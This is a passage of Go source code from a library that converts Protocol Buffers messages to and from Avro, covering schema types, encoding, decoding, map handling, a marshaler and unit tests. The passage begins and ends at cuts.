`json:"type"` 116 | Items Schema `json:"items"` 117 | } 118 | 119 | func (e Array) isSchema() {} 120 | 121 | type Fixed struct { 122 | Type Type `json:"type"` 123 | Name string `json:"name"` 124 | Namespace string `json:"namespace,omitempty"` 125 | Size int `json:"size"` 126 | } 127 | 128 | func (e Fixed) isSchema() {} 129 | 130 | func Date() Primitive { 131 | return Primitive{ 132 | Type: IntType, 133 | LogicalType: DateLogicalType, 134 | } 135 | } 136 | 137 | func TimeMicros() Primitive { 138 | return Primitive{ 139 | Type: LongType, 140 | LogicalType: TimeMicrosLogicalType, 141 | } 142 | } 143 | 144 | func TimestampMicros() Primitive { 145 | return Primitive{ 146 | Type: LongType, 147 | LogicalType: TimestampMicrosLogicalType, 148 | } 149 | } 150 | 151 | func Nullable(schema Schema) Union { 152 | if union, ok := schema.(Union); ok { 153 | var found bool 154 | for _, v := range union { 155 | if v == Null() { 156 | found = true 157 | } 158 | } 159 | if !found { 160 | return append(Union{Null()}, union) 161 | } 162 | return union 163 | } 164 | 165 | return Union{ 166 | Null(), 167 | schema, 168 | } 169 | } 170 | -------------------------------------------------------------------------------- /encoding/protoavro/decode.go: -------------------------------------------------------------------------------- 1 | package protoavro 2 | 3 | import ( 4 | "fmt" 5 | 6 | "google.golang.org/protobuf/proto" 7 | "google.golang.org/protobuf/reflect/protoreflect" 8 | ) 9 | 10 | // decodeJSON decodes the JSON encoded avro data and places the 11 | // result in msg. 12 | func (o *SchemaOptions) decodeJSON(data interface{}, msg proto.Message) error { 13 | return o.decodeMessage(data, msg.ProtoReflect()) 14 | } 15 | 16 | func (o *SchemaOptions) decodeMessage(data interface{}, msg protoreflect.Message) error { 17 | if data == nil { 18 | return nil 19 | } 20 | d, ok := data.(map[string]interface{}) 21 | if !ok { 22 | return fmt.Errorf("expected message encoded as map[string]interface{}, got %T", data) 23 | } 24 | 25 | if isWKT(msg.Descriptor().FullName()) { 26 | return decodeWKT(d, msg) 27 | } 28 | // unwrap union 29 | desc := msg.Descriptor() 30 | if msgData, ok := d[string(desc.FullName())]; len(d) == 1 && ok { 31 | return o.decodeMessage(msgData, msg) 32 | } 33 | for fieldName, fieldValue := range d { 34 | fd, ok := findField(desc, fieldName) 35 | if !ok { 36 | return fmt.Errorf("unexpected field %s", fieldName) 37 | } 38 | if err := o.decodeField(fieldValue, msg, fd); err != nil { 39 | return err 40 | } 41 | } 42 | return nil 43 | } 44 | 45 | func (o *SchemaOptions) decodeField(data interface{}, val protoreflect.Message, f protoreflect.FieldDescriptor) error { 46 | if data == nil { 47 | return nil 48 | } 49 | switch { 50 | case f.IsMap(): 51 | mp := val.NewField(f).Map() 52 | if err := o.decodeMap(data, f, mp); err != nil { 53 | return err 54 | } 55 | val.Set(f, protoreflect.ValueOfMap(mp)) 56 | return nil 57 | case f.IsList(): 58 | listData, err := decodeListLike(data, "array") 59 | if err != nil { 60 | return err 61 | } 62 | list := val.NewField(f).List() 63 | for _, el := range listData { 64 | if el == nil { 65 | list.Append(list.NewElement()) 66 | continue 67 | } 68 | fieldValue, err := o.decodeFieldKind(el, list.NewElement(), f) 69 | if err != nil { 70 | return err 71 | } 72 | list.Append(fieldValue) 73 | } 74 | val.Set(f, protoreflect.ValueOfList(list)) 75 | return nil 76 | default: 77 | fieldValue, err := o.decodeFieldKind(data, val.NewField(f), f) 78 | if err != nil { 79 | return err 80 | } 81 | val.Set(f, fieldValue) 82 | } 83 | return nil 84 | } 85 | 86 | func (o *SchemaOptions) decodeFieldKind( 87 | data interface{}, 88 | mutable protoreflect.Value, 89 | f protoreflect.FieldDescriptor, 90 | ) (protoreflect.Value, error) { 91 | switch f.Kind() { 92 | case protoreflect.MessageKind, protoreflect.GroupKind: 93 | if err := o.decodeMessage(data, mutable.Message()); err != nil { 94 | return protoreflect.Value{}, err 95 | } 96 | return mutable, nil 97 | case protoreflect.StringKind: 98 | str, err := decodeStringLike(data, "string") 99 | if err != nil { 100 | return protoreflect.Value{}, fmt.Errorf("field %s: %w", f.Name(), err) 101 | } 102 | return protoreflect.ValueOfString(str), nil 103 | case protoreflect.BoolKind: 104 | bo, err := decodeBoolLike(data, "boolean") 105 | if err != nil { 106 | return protoreflect.Value{}, fmt.Errorf("field %s: %w", f.Name(), err) 107 | } 108 | return protoreflect.ValueOfBool(bo), nil 109 | case protoreflect.Int32Kind, protoreflect.Sfixed32Kind, protoreflect.Sint32Kind: 110 | i, err := decodeIntLike(data, "int") 111 | if err != nil { 112 | return protoreflect.Value{}, fmt.Errorf("field %s: %w", f.Name(), err) 113 | } 114 | return protoreflect.ValueOfInt32(int32(i)), nil 115 | case protoreflect.Int64Kind, protoreflect.Sfixed64Kind, protoreflect.Sint64Kind: 116 | i, err := decodeIntLike(data, "long") 117 | if err != nil { 118 | return protoreflect.Value{}, fmt.Errorf("field %s: %w", f.Name(), err) 119 | } 120 | return protoreflect.ValueOfInt64(i), nil 121 | case protoreflect.Uint32Kind, protoreflect.Fixed32Kind: 122 | i, err := decodeIntLike(data, "int") 123 | if err != nil { 124 | return protoreflect.Value{}, fmt.Errorf("field %s: %w", f.Name(), err) 125 | } 126 | return protoreflect.ValueOfUint32(uint32(i)), nil 127 | case protoreflect.Uint64Kind, protoreflect.Fixed64Kind: 128 | i, err := decodeIntLike(data, "long") 129 | if err != nil { 130 | return protoreflect.Value{}, fmt.Errorf("field %s: %w", f.Name(), err) 131 | } 132 | return protoreflect.ValueOfUint64(uint64(i)), nil 133 | case protoreflect.BytesKind: 134 | bs, err := decodeBytesLike(data, "bytes") 135 | if err != nil { 136 | return protoreflect.Value{}, fmt.Errorf("field %s: %w", f.Name(), err) 137 | } 138 | return protoreflect.ValueOfBytes(bs), nil 139 | case protoreflect.EnumKind: 140 | str, err := decodeStringLike(data, string(f.Enum().FullName())) 141 | if err != nil { 142 | return protoreflect.Value{}, fmt.Errorf("field %s: %w", f.Name(), err) 143 | } 144 | if v := f.Enum().Values().ByName(protoreflect.Name(str)); v != nil { 145 | return protoreflect.ValueOfEnum(v.Number()), nil 146 | } 147 | return protoreflect.ValueOfEnum(0), nil 148 | case protoreflect.DoubleKind: 149 | dbl, err := decodeFloatLike(data, "double") 150 | if err != nil { 151 | return protoreflect.Value{}, fmt.Errorf("field %s: %w", f.Name(), err) 152 | } 153 | return protoreflect.ValueOfFloat64(dbl), nil 154 | case protoreflect.FloatKind: 155 | flt, err := decodeFloatLike(data, "float") 156 | if err != nil { 157 | return protoreflect.Value{}, fmt.Errorf("field %s: %w", f.Name(), err) 158 | } 159 | return protoreflect.ValueOfFloat32(float32(flt)), nil 160 | } 161 | return protoreflect.Value{}, fmt.Errorf("unexpected kind %s", f.Kind()) 162 | } 163 | 164 | func findField(desc protoreflect.MessageDescriptor, name string) (protoreflect.FieldDescriptor, bool) { 165 | if fd := desc.Fields().ByJSONName(name); fd != nil { 166 | return fd, true 167 | } 168 | if fd := desc.Fields().ByTextName(name); fd != nil { 169 | return fd, true 170 | } 171 | return nil, false 172 | } 173 | -------------------------------------------------------------------------------- /encoding/protoavro/doc.go: -------------------------------------------------------------------------------- 1 | // Package protoavro provides functions for converting between 2 | // Protocol Buffers and Avro. 3 | package protoavro 4 | -------------------------------------------------------------------------------- /encoding/protoavro/encode.go: -------------------------------------------------------------------------------- 1 | package protoavro 2 | 3 | import ( 4 | "google.golang.org/protobuf/proto" 5 | "google.golang.org/protobuf/reflect/protoreflect" 6 | ) 7 | 8 | // encodeJSON returns the Avro JSON encoding of message. 9 | func (o SchemaOptions) encodeJSON(message proto.Message) (interface{}, error) { 10 | return o.messageJSON(message.ProtoReflect(), 0) 11 | } 12 | 13 | func (o SchemaOptions) unionValue(key string, value interface{}) map[string]interface{} { 14 | return map[string]interface{}{ 15 | key: value, 16 | } 17 | } 18 | 19 | func (o SchemaOptions) messageJSON(message protoreflect.Message, recursiveIndex int) (interface{}, error) { 20 | if !message.IsValid() { 21 | return nil, nil 22 | } 23 | if isWKT(message.Descriptor().FullName()) { 24 | value, err := o.encodeWKT(message) 25 | if err != nil { 26 | return nil, err 27 | } 28 | return value, nil 29 | } 30 | desc := message.Descriptor() 31 | record := make(map[string]interface{}, desc.Fields().Len()) 32 | for i := 0; i < desc.Fields().Len(); i++ { 33 | field := desc.Fields().Get(i) 34 | if field.ContainingOneof() != nil { 35 | if !message.Has(field) { 36 | // dont populate scalar fields belonging to 37 | // a oneof (.Get returns the default value) 38 | record[string(field.Name())] = nil 39 | } else { 40 | value := message.Get(field) 41 | jsonValue, err := o.fieldJSON(field, value, recursiveIndex+1) 42 | if err != nil { 43 | return nil, err 44 | } 45 | record[string(field.Name())] = jsonValue 46 | } 47 | continue 48 | } 49 | value := message.Get(field) 50 | jsonValue, err := o.fieldJSON(field, value, recursiveIndex+1) 51 | if err != nil { 52 | return nil, err 53 | } 54 | record[string(field.Name())] = jsonValue 55 | } 56 | if o.OmitRootElement && recursiveIndex == 0 { 57 | return record, nil 58 | } 59 | return map[string]interface{}{ 60 | string(desc.FullName()): record, 61 | }, nil 62 | } 63 | 64 | func (o SchemaOptions) fieldJSON( 65 | field protoreflect.FieldDescriptor, 66 | value protoreflect.Value, 67 | recursiveIndex int, 68 | ) (interface{}, error) { 69 | if field.IsList() { 70 | list := make([]interface{}, 0, value.List().Len()) 71 | for i := 0; i < value.List().Len(); i++ { 72 | v := value.List().Get(i) 73 | fieldValue, err := o.fieldKindJSON(field, v, recursiveIndex) 74 | if err != nil { 75 | return nil, err 76 | } 77 | list = append(list, fieldValue) 78 | } 79 | return o.unionValue("array", list), nil 80 | } 81 | if field.IsMap() { 82 | return o.encodeMap(field, value.Map(), recursiveIndex) 83 | } 84 | return o.fieldKindJSON(field, value, recursiveIndex) 85 | } 86 | 87 | func (o SchemaOptions) fieldKindJSON( 88 | field protoreflect.FieldDescriptor, 89 | value protoreflect.Value, 90 | recursiveIndex int, 91 | ) (interface{}, error) { 92 | switch field.Kind() { 93 | case protoreflect.MessageKind, protoreflect.GroupKind: 94 | return o.messageJSON(value.Message(), recursiveIndex) 95 | case protoreflect.EnumKind: 96 | if field.Enum().Values().ByNumber(value.Enum()) == nil { 97 | return o.unionValue( 98 | string(field.Enum().FullName()), 99 | string(field.Enum().Values().ByNumber(protoreflect.EnumNumber(0)).Name()), 100 | ), nil 101 | } 102 | return o.unionValue( 103 | string(field.Enum().FullName()), 104 | string(field.Enum().Values().ByNumber(value.Enum()).Name()), 105 | ), nil 106 | case protoreflect.StringKind: 107 | return o.unionValue("string", value.String()), nil 108 | case protoreflect.Int32Kind, 109 | protoreflect.Fixed32Kind, 110 | protoreflect.Sfixed32Kind, 111 | protoreflect.Sint32Kind: 112 | return o.unionValue("int", int32(value.Int())), nil 113 | case protoreflect.Uint32Kind: 114 | return o.unionValue("int", int32(value.Uint())), nil 115 | case protoreflect.Int64Kind, 116 | protoreflect.Fixed64Kind, 117 | protoreflect.Sfixed64Kind, 118 | protoreflect.Sint64Kind: 119 | return o.unionValue("long", value.Int()), nil 120 | case protoreflect.Uint64Kind: 121 | return o.unionValue("long", int64(value.Uint())), nil 122 | case protoreflect.BoolKind: 123 | return o.unionValue("boolean", value.Bool()), nil 124 | case protoreflect.BytesKind: 125 | return o.unionValue("bytes", value.Bytes()), nil 126 | case protoreflect.DoubleKind: 127 | return o.unionValue("double", value.Float()), nil 128 | case protoreflect.FloatKind: 129 | return o.unionValue("float", float32(value.Float())), nil 130 | } 131 | return value.Interface(), nil 132 | } 133 | -------------------------------------------------------------------------------- /encoding/protoavro/map.go: -------------------------------------------------------------------------------- 1 | package protoavro 2 | 3 | import ( 4 | "fmt" 5 | "sort" 6 | 7 | "go.einride.tech/protobuf-avro/avro" 8 | "google.golang.org/protobuf/reflect/protoreflect" 9 | ) 10 | 11 | func (s schemaInferrer) inferMapSchema(field protoreflect.FieldDescriptor, recursiveIndex int) (avro.Schema, error) { 12 | fieldKind, err := s.inferFieldKind(field, recursiveIndex) 13 | if err != nil { 14 | return nil, err 15 | } 16 | return avro.Nullable(avro.Array{ 17 | Type: avro.ArrayType, 18 | Items: fieldKind, 19 | }), nil 20 | } 21 | 22 | func (o *SchemaOptions) encodeMap( 23 | field protoreflect.FieldDescriptor, 24 | m protoreflect.Map, 25 | recursiveIndex int, 26 | ) (interface{}, error) { 27 | // m.Range ranges over the entries in unspecified order. 28 | // To aid in testing, the keys are sorted. This is similar 29 | // to what json.Marshal does for maps. 30 | keys := make([]protoreflect.MapKey, 0, m.Len()) 31 | m.Range(func(key protoreflect.MapKey, _ protoreflect.Value) bool { 32 | keys = append(keys, key) 33 | return true 34 | }) 35 | sort.Slice(keys, func(i, j int) bool { 36 | // key.String will return a string for any key type (not just strings) 37 | // for example 1 would be "1" 38 | return keys[i].String() < keys[j].String() 39 | }) 40 | 41 | entries := make([]interface{}, 0, m.Len()) 42 | valueField := field.MapValue() 43 | keyField := field.MapKey() 44 | for _, key := range keys { 45 | value := m.Get(key) 46 | keyValue, err := o.fieldKindJSON(keyField, key.Value(), recursiveIndex) 47 | if err != nil { 48 | return nil, err 49 | } 50 | valueValue, err := o.fieldKindJSON(valueField, value, recursiveIndex) 51 | if err != nil { 52 | return nil, err 53 | } 54 | entries = append(entries, map[string]interface{}{ 55 | "key": keyValue, 56 | "value": valueValue, 57 | }) 58 | } 59 | return o.unionValue("array", entries), nil 60 | } 61 | 62 | func (o SchemaOptions) decodeMap(data interface{}, f protoreflect.FieldDescriptor, mp protoreflect.Map) error { 63 | list, err := decodeListLike(data, "array") 64 | if err != nil { 65 | return err 66 | } 67 | return o.decodeMapEntries(list, f, mp) 68 | } 69 | 70 | func (o SchemaOptions) decodeMapEntries(data []interface{}, f protoreflect.FieldDescriptor, mp protoreflect.Map) error { 71 | for _, el := range data { 72 | entry, ok := el.(map[string]interface{}) 73 | if !ok { 74 | return fmt.Errorf("expected map entry, got %T for '%s'", el, f.Name()) 75 | } 76 | keyData, ok := entry["key"] 77 | if !ok { 78 | return fmt.Errorf("missing 'key' in map entry for '%s'", f.Name()) 79 | } 80 | valueData, ok := entry["value"] 81 | if !ok { 82 | return fmt.Errorf("missing 'value' in map entry for '%s'", f.Name()) 83 | } 84 | keyValue, err := o.decodeFieldKind(keyData, protoreflect.Value{}, f.MapKey()) 85 | if err != nil { 86 | return err 87 | } 88 | valueValue, err := o.decodeFieldKind(valueData, mp.NewValue(), f.MapValue()) 89 | if err != nil { 90 | return err 91 | } 92 | mp.Set(keyValue.MapKey(), valueValue) 93 | } 94 | return nil 95 | } 96 | -------------------------------------------------------------------------------- /encoding/protoavro/map_test.go: -------------------------------------------------------------------------------- 1 | package protoavro 2 | 3 | import ( 4 | "testing" 5 | 6 | "go.einride.tech/protobuf-avro/avro" 7 | examplev1 "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/avro/example/v1" 8 | "google.golang.org/protobuf/proto" 9 | "google.golang.org/protobuf/reflect/protoreflect" 10 | "google.golang.org/protobuf/testing/protocmp" 11 | "gotest.tools/v3/assert" 12 | ) 13 | 14 | func Test_MapSchema(t *testing.T) { 15 | for _, tt := range []struct { 16 | name string 17 | opts SchemaOptions 18 | msg proto.Message 19 | fieldName protoreflect.Name 20 | expected avro.Schema 21 | }{ 22 | { 23 | name: "string to string", 24 | msg: &examplev1.ExampleMap{}, 25 | fieldName: "string_to_string", 26 | expected: avro.Nullable(avro.Array{ 27 | Type: avro.ArrayType, 28 | Items: avro.Record{ 29 | Type: avro.RecordType, 30 | Name: "StringToStringEntry", 31 | Namespace: "einride.avro.example.v1.ExampleMap", 32 | Fields: []avro.Field{ 33 | {Name: "key", Type: avro.Nullable(avro.String())}, 34 | {Name: "value", Type: avro.Nullable(avro.String())}, 35 | }, 36 | }, 37 | }), 38 | }, 39 | { 40 | name: "nested map", 41 | msg: &examplev1.ExampleMap{}, 42 | fieldName: "string_to_nested", 43 | expected: avro.Nullable(avro.Array{ 44 | Type: avro.ArrayType, 45 | Items: avro.Record{ 46 | Type: avro.RecordType, 47 | Name: "StringToNestedEntry", 48 | Namespace: "einride.avro.example.v1.ExampleMap", 49 | Fields: []avro.Field{ 50 | {Name: "key", Type: avro.Nullable(avro.String())}, 51 | { 52 | Name: "value", 53 | Type: avro.Nullable(avro.Record{ 54 | Type: avro.RecordType, 55 | Name: "Nested", 56 | Namespace: "einride.avro.example.v1.ExampleMap", 57 | Fields: []avro.Field{ 58 | { 59 | Name: "string_to_string", 60 | Type: avro.Nullable(avro.Array{ 61 | Type: avro.ArrayType, 62 | Items: avro.Record{ 63 | Type: avro.RecordType, 64 | Name: "StringToStringEntry", 65 | Namespace: "einride.avro.example.v1.ExampleMap.Nested", 66 | Fields: []avro.Field{ 67 | {Name: "key", Type: avro.Nullable(avro.String())}, 68 | {Name: "value", Type: avro.Nullable(avro.String())}, 69 | }, 70 | }, 71 | }), 72 | }, 73 | }, 74 | }), 75 | }, 76 | }, 77 | }, 78 | }), 79 | }, 80 | { 81 | name: "enum value", 82 | msg: &examplev1.ExampleMap{}, 83 | fieldName: "string_to_enum", 84 | expected: avro.Nullable(avro.Array{ 85 | Type: avro.ArrayType, 86 | Items: avro.Record{ 87 | Type: avro.RecordType, 88 | Name: "StringToEnumEntry", 89 | Namespace: "einride.avro.example.v1.ExampleMap", 90 | Fields: []avro.Field{ 91 | {Name: "key", Type: avro.Nullable(avro.String())}, 92 | { 93 | Name: "value", Type: avro.Nullable(avro.Enum{ 94 | Type: avro.EnumType, 95 | Name: "Enum", 96 | Namespace: "einride.avro.example.v1.ExampleMap", 97 | Symbols: []string{ 98 | "ENUM_UNSPECIFIED", 99 | "ENUM_VALUE1", 100 | "ENUM_VALUE2", 101 | }, 102 | }), 103 | }, 104 | }, 105 | }, 106 | }), 107 | }, 108 | { 109 | name: "int32 key", 110 | msg: &examplev1.ExampleMap{}, 111 | fieldName: "int32_to_string", 112 | expected: avro.Nullable(avro.Array{ 113 | Type: avro.ArrayType, 114 | Items: avro.Record{ 115 | Type: avro.RecordType, 116 | Name: "Int32ToStringEntry", 117 | Namespace: "einride.avro.example.v1.ExampleMap", 118 | Fields: []avro.Field{ 119 | {Name: "key", Type: avro.Nullable(avro.Integer())}, 120 | {Name: "value", Type: avro.Nullable(avro.String())}, 121 | }, 122 | }, 123 | }), 124 | }, 125 | { 126 | name: "int64 key", 127 | msg: &examplev1.ExampleMap{}, 128 | fieldName: "int64_to_string", 129 | expected: avro.Nullable(avro.Array{ 130 | Type: avro.ArrayType, 131 | Items: avro.Record{ 132 | Type: avro.RecordType, 133 | Name: "Int64ToStringEntry", 134 | Namespace: "einride.avro.example.v1.ExampleMap", 135 | Fields: []avro.Field{ 136 | {Name: "key", Type: avro.Nullable(avro.Long())}, 137 | {Name: "value", Type: avro.Nullable(avro.String())}, 138 | }, 139 | }, 140 | }), 141 | }, 142 | { 143 | name: "uint32 key", 144 | msg: &examplev1.ExampleMap{}, 145 | fieldName: "uint32_to_string", 146 | expected: avro.Nullable(avro.Array{ 147 | Type: avro.ArrayType, 148 | Items: avro.Record{ 149 | Type: avro.RecordType, 150 | Name: "Uint32ToStringEntry", 151 | Namespace: "einride.avro.example.v1.ExampleMap", 152 | Fields: []avro.Field{ 153 | {Name: "key", Type: avro.Nullable(avro.Integer())}, 154 | {Name: "value", Type: avro.Nullable(avro.String())}, 155 | }, 156 | }, 157 | }), 158 | }, 159 | { 160 | name: "bool key", 161 | msg: &examplev1.ExampleMap{}, 162 | fieldName: "bool_to_string", 163 | expected: avro.Nullable(avro.Array{ 164 | Type: avro.ArrayType, 165 | Items: avro.Record{ 166 | Type: avro.RecordType, 167 | Name: "BoolToStringEntry", 168 | Namespace: "einride.avro.example.v1.ExampleMap", 169 | Fields: []avro.Field{ 170 | {Name: "key", Type: avro.Nullable(avro.Boolean())}, 171 | {Name: "value", Type: avro.Nullable(avro.String())}, 172 | }, 173 | }, 174 | }), 175 | }, 176 | } { 177 | t.Run(tt.name, func(t *testing.T) { 178 | schema, err := tt.opts.newSchemaInferrer().inferMapSchema( 179 | tt.msg.ProtoReflect().Descriptor().Fields().ByName(tt.fieldName), 180 | 0, 181 | ) 182 | assert.NilError(t, err) 183 | assert.DeepEqual(t, schema, tt.expected) 184 | }) 185 | } 186 | } 187 | 188 | func Test_MapEncode(t *testing.T) { 189 | for _, tt := range []struct { 190 | name string 191 | opts SchemaOptions 192 | msg proto.Message 193 | fieldName protoreflect.Name 194 | expected interface{} 195 | }{ 196 | { 197 | name: "string to string", 198 | msg: &examplev1.ExampleMap{ 199 | StringToString: map[string]string{ 200 | "1": "a", 201 | "2": "b", 202 | "3": "c", 203 | }, 204 | }, 205 | fieldName: "string_to_string", 206 | expected: map[string]interface{}{ 207 | "array": []interface{}{ 208 | map[string]interface{}{ 209 | "key": map[string]interface{}{"string": "1"}, 210 | "value": map[string]interface{}{"string": "a"}, 211 | }, 212 | map[string]interface{}{ 213 | "key": map[string]interface{}{"string": "2"}, 214 | "value": map[string]interface{}{"string": "b"}, 215 | }, 216 | map[string]interface{}{ 217 | "key": map[string]interface{}{"string": "3"}, 218 | "value": map[string]interface{}{"string": "c"}, 219 | }, 220 | }, 221 | }, 222 | }, 223 | { 224 | name: "int32 key", 225 | msg: &examplev1.ExampleMap{ 226 | Int32ToString: map[int32]string{ 227 | 1: "a", 228 | 2: "b", 229 | 3: "c", 230 | }, 231 | }, 232 | fieldName: "int32_to_string", 233 | expected: map[string]interface{}{ 234 | "array": []interface{}{ 235 | map[string]interface{}{ 236 | "key": map[string]interface{}{"int": int32(1)}, 237 | "value": map[string]interface{}{"string": "a"}, 238 | }, 239 | map[string]interface{}{ 240 | "key": map[string]interface{}{"int": int32(2)}, 241 | "value": map[string]interface{}{"string": "b"}, 242 | }, 243 | map[string]interface{}{ 244 | "key": map[string]interface{}{"int": int32(3)}, 245 | "value": map[string]interface{}{"string": "c"}, 246 | }, 247 | }, 248 | }, 249 | }, 250 | } { 251 | t.Run(tt.name, func(t *testing.T) { 252 | desc := tt.msg.ProtoReflect().Descriptor().Fields().ByName(tt.fieldName) 253 | val := tt.msg.ProtoReflect().Get(desc) 254 | got, err := tt.opts.encodeMap(desc, val.Map(), 0) 255 | assert.NilError(t, err) 256 | assert.DeepEqual(t, got, tt.expected) 257 | }) 258 | } 259 | } 260 | 261 | func Test_MapDecode(t *testing.T) { 262 | for _, tt := range []struct { 263 | name string 264 | msg proto.Message 265 | opts SchemaOptions 266 | fieldName protoreflect.Name 267 | data interface{} 268 | expected proto.Message 269 | expectErr string 270 | }{ 271 | { 272 | name: "string to string", 273 | msg: &examplev1.ExampleMap{}, 274 | fieldName: "string_to_string", 275 | data: []interface{}{ 276 | map[string]interface{}{"key": "1", "value": "a"}, 277 | map[string]interface{}{"key": "2", "value": "b"}, 278 | map[string]interface{}{"key": "3", "value": "c"}, 279 | }, 280 | expected: &examplev1.ExampleMap{ 281 | StringToString: map[string]string{ 282 | "1": "a", 283 | "2": "b", 284 | "3": "c", 285 | }, 286 | }, 287 | }, 288 | { 289 | name: "invalid type", 290 | msg: &examplev1.ExampleMap{}, 291 | fieldName: "string_to_string", 292 | data: map[string]int32{}, 293 | expectErr: "expected list-like, got map[]", 294 | }, 295 | { 296 | name: "invalid element type", 297 | msg: &examplev1.ExampleMap{}, 298 | fieldName: "string_to_string", 299 | data: []interface{}{ 300 | 1, 301 | }, 302 | expectErr: "expected map entry, got int for 'string_to_string'", 303 | }, 304 | { 305 | name: "missing key field", 306 | msg: &examplev1.ExampleMap{}, 307 | fieldName: "string_to_string", 308 | data: []interface{}{ 309 | map[string]interface{}{"value": "a"}, 310 | }, 311 | expectErr: "missing 'key' in map entry for 'string_to_string'", 312 | }, 313 | { 314 | name: "missing value field", 315 | msg: &examplev1.ExampleMap{}, 316 | fieldName: "string_to_string", 317 | data: []interface{}{ 318 | map[string]interface{}{"key": "1"}, 319 | }, 320 | expectErr: "missing 'value' in map entry for 'string_to_string'", 321 | }, 322 | } { 323 | t.Run(tt.name, func(t *testing.T) { 324 | desc := tt.msg.ProtoReflect().Descriptor().Fields().ByName(tt.fieldName) 325 | val := tt.msg.ProtoReflect().Mutable(desc) 326 | err := tt.opts.decodeMap(tt.data, desc, val.Map()) 327 | if tt.expectErr != "" { 328 | assert.ErrorContains(t, err, tt.expectErr) 329 | return 330 | } 331 | assert.NilError(t, err) 332 | assert.DeepEqual(t, tt.msg, tt.expected, protocmp.Transform()) 333 | }) 334 | } 335 | } 336 | -------------------------------------------------------------------------------- /encoding/protoavro/marshal.go: -------------------------------------------------------------------------------- 1 | package protoavro 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "io" 7 | 8 | "github.com/linkedin/goavro/v2" 9 | "google.golang.org/protobuf/proto" 10 | "google.golang.org/protobuf/reflect/protoreflect" 11 | ) 12 | 13 | // NewMarshaler returns a new marshaler, with default SchemaOptions, that writes protobuf messages to writer in 14 | // Avro binary format. 15 | func NewMarshaler(descriptor protoreflect.MessageDescriptor, writer io.Writer) (*Marshaler, error) { 16 | return SchemaOptions{}.NewMarshaler(descriptor, writer) 17 | } 18 | 19 | // NewMarshaler returns a new marshaler that writes protobuf messages to writer in 20 | // Avro binary format. 21 | func (o SchemaOptions) NewMarshaler(descriptor protoreflect.MessageDescriptor, writer io.Writer) (*Marshaler, error) { 22 | schema, err := o.InferSchema(descriptor) 23 | if err != nil { 24 | return nil, fmt.Errorf("infer schema: %w", err) 25 | } 26 | schemaBytes, err := json.Marshal(schema) 27 | if err != nil { 28 | return nil, fmt.Errorf("json marshal schema: %w", err) 29 | } 30 | w, err := goavro.NewOCFWriter(goavro.OCFConfig{ 31 | W: writer, 32 | Schema: string(schemaBytes), 33 | }) 34 | if err != nil { 35 | return nil, fmt.Errorf("new ocf writer: %w", err) 36 | } 37 | return &Marshaler{w: w, desc: descriptor, opts: o}, nil 38 | } 39 | 40 | // Marshaler encodes and writes Avro binary encoded messages. 41 | type Marshaler struct { 42 | opts SchemaOptions 43 | desc protoreflect.MessageDescriptor 44 | w *goavro.OCFWriter 45 | } 46 | 47 | // Marshal encodes and writes messages to the writer. 48 | func (m *Marshaler) Marshal(messages ...proto.Message) error { 49 | data := make([]interface{}, 0, len(messages)) 50 | for _, message := range messages { 51 | a := message.ProtoReflect().Descriptor().FullName() 52 | b := m.desc.FullName() 53 | if a != b { 54 | return fmt.Errorf("expected message '%s' but got '%s'", a, b) 55 | } 56 | m, err := m.opts.encodeJSON(message) 57 | if err != nil { 58 | return fmt.Errorf("encode json: %w", err) 59 | } 60 | data = append(data, m) 61 | } 62 | if err := m.w.Append(data); err != nil { 63 | return fmt.Errorf("append: %w", err) 64 | } 65 | return nil 66 | } 67 | 68 | // Encode encodes the message. 69 | func (o SchemaOptions) Encode(message proto.Message) (interface{}, error) { 70 | encJSON, err := o.encodeJSON(message) 71 | if err != nil { 72 | return nil, fmt.Errorf("encode json: %w", err) 73 | } 74 | 75 | return encJSON, nil 76 | } 77 | 78 | // Append writes the messages to the writer. 79 | func (m *Marshaler) Append(messages interface{}) error { 80 | data, ok := messages.([]interface{}) 81 | if !ok { 82 | // If messages is not a slice, make it a slice. 83 | data = append(data, messages) 84 | } 85 | 86 | if err := m.w.Append(data); err != nil { 87 | return fmt.Errorf("append: %w", err) 88 | } 89 | return nil 90 | } 91 | -------------------------------------------------------------------------------- /encoding/protoavro/marshal_example_test.go: -------------------------------------------------------------------------------- 1 | package protoavro_test 2 | 3 | import ( 4 | "bytes" 5 | 6 | "go.einride.tech/protobuf-avro/encoding/protoavro" 7 | "google.golang.org/genproto/googleapis/example/library/v1" 8 | ) 9 | 10 | func ExampleMarshaler() { 11 | var msg library.Book 12 | var b bytes.Buffer 13 | marshaller, err := protoavro.NewMarshaler(msg.ProtoReflect().Descriptor(), &b) 14 | if err != nil { 15 | panic(err) 16 | } 17 | if err := marshaller.Marshal( 18 | &library.Book{ 19 | Name: "shelves/1/books/1", 20 | Title: "Harry Potter", 21 | Author: "J. K. Rowling", 22 | }, 23 | ); err != nil { 24 | panic(err) 25 | } 26 | // Output: 27 | } 28 | -------------------------------------------------------------------------------- /encoding/protoavro/marshal_test.go: -------------------------------------------------------------------------------- 1 | package protoavro_test 2 | 3 | import ( 4 | "bytes" 5 | "testing" 6 | "time" 7 | 8 | "go.einride.tech/protobuf-avro/encoding/protoavro" 9 | examplev1 "go.einride.tech/protobuf-avro/internal/examples/proto/gen/einride/avro/example/v1" 10 | "google.golang.org/genproto/googleapis/example/library/v1" 11 | "google.golang.org/genproto/googleapis/type/date" 12 | "google.golang.org/genproto/googleapis/type/timeofday" 13 | "google.golang.org/protobuf/proto" 14 | "google.golang.org/protobuf/testing/protocmp" 15 | "google.golang.org/protobuf/types/known/durationpb" 16 | "google.golang.org/protobuf/types/known/timestamppb" 17 | "gotest.tools/v3/assert" 18 | ) 19 | 20 | func Test_MarshalUnmarshal(t *testing.T) { 21 | msgs := []*library.Book{ 22 | { 23 | Name: "shelves/1/books/1", 24 | Title: "Harry Potter", 25 | Author: "J. K. Rowling", 26 | }, 27 | { 28 | Name: "shelves/1/books/2", 29 | Title: "Lord of the Rings", 30 | Author: "J. R. R. Tolkien", 31 | }, 32 | } 33 | 34 | var b bytes.Buffer 35 | 36 | // marshal messages 37 | marshaller, err := protoavro.NewMarshaler(msgs[0].ProtoReflect().Descriptor(), &b) 38 | assert.NilError(t, err) 39 | for _, msg := range msgs { 40 | assert.NilError(t, marshaller.Marshal(msg)) 41 | } 42 | 43 | // unmarshal messages 44 | unmarshaler, err := protoavro.NewUnmarshaler(&b) 45 | assert.NilError(t, err) 46 | got := make([]*library.Book, 0, 2) 47 | for unmarshaler.Scan() { 48 | var msg library.Book 49 | assert.NilError(t, unmarshaler.Unmarshal(&msg)) 50 | got = append(got, &msg) 51 | } 52 | 